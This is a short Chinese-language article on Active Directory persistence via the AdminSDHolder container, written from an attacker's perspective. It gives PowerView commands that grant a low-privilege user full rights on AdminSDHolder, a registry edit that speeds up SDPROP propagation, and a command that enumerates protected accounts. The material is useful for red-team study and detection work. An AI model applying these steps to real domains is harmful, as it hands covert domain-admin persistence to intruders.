域渗透AdminSDHolder

 

AdminSDHolder是一个特殊的AD容器,通常作为某些特权组成员的对象的安全模板。Active Directory将采用AdminSDHolder对象的ACL并定期将其应用于所有受保护的AD账户和组,以防止意外和无意的修改并确保对这些对象的访问是安全的。

本文由锦行科技的安全研究团队提供,旨在从攻击者的视角还原AdminSDHolder的渗透过程。

 

配置

1、添加:

在域控上操作AdminSDHolder对象的ACL

添加用户test对AdminSDHolder的完全访问权限

powerview:

Add-DomainObjectAcl -TargetIdentity AdminSDHolder -PrincipalIdentity test -Rights All

*由于SDPROP的原因,默认等待60分钟之后生效

2、验证:

Powerview:

Get-DomainObjectAcl adminsdholder | ?{$_.SecurityIdentifier -match “S-1-5-21-363618500-3918876104-3124729890-1139”} | select objectdn,ActiveDirectoryRights |sort -Unique

ADSI:

3、删除:

Remove-DomainObjectAcl -TargetSearchBase “LDAP://CN=AdminSDHolder,CN=System,DC=test,DC=com” -PrincipalIdentity test -Rights All -Verbose

 

SUPROP

为了将可继承ACE的更改传播到后代对象,域控制器运行一个称为安全描述符传播器(SDPROP)的后台任务。通过修改对象的安全描述符或移动对象时触发此任务。当修改了AdminSDHolder的ACL之后默认等待60分钟以后生效,原理是SDPROP进程在PDC模拟器上每60分钟运行一次,并使用AdminSDHolder设置的安全权限重新标记ACL。

1、注册表SDPROP运营频率:

修改成等待60秒

reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 60

2、手动触发SDPROP进程:

运行->LDP.exe->菜单>连接->连接->服务器输入当前的机器名,端口默认为389

然后连接->绑定凭证->作为当前登录的用户绑定->然后浏览->修改,在属性选项卡中输入FixUpInheritance。在值字段中输入Yes。操作选择添加,然后单击输入,最后运行即可,运行。

 

利用场景

已经获得域控权限,利用AdminSDHolder来进行权限维持,或者寻找受保护AD账户为目标。

枚举受保护AD账户

Get-NetUser -AdminCount |select samaccountname

登录test用户,可以看到test非域管组,却能执行域管权限的命令。

(完)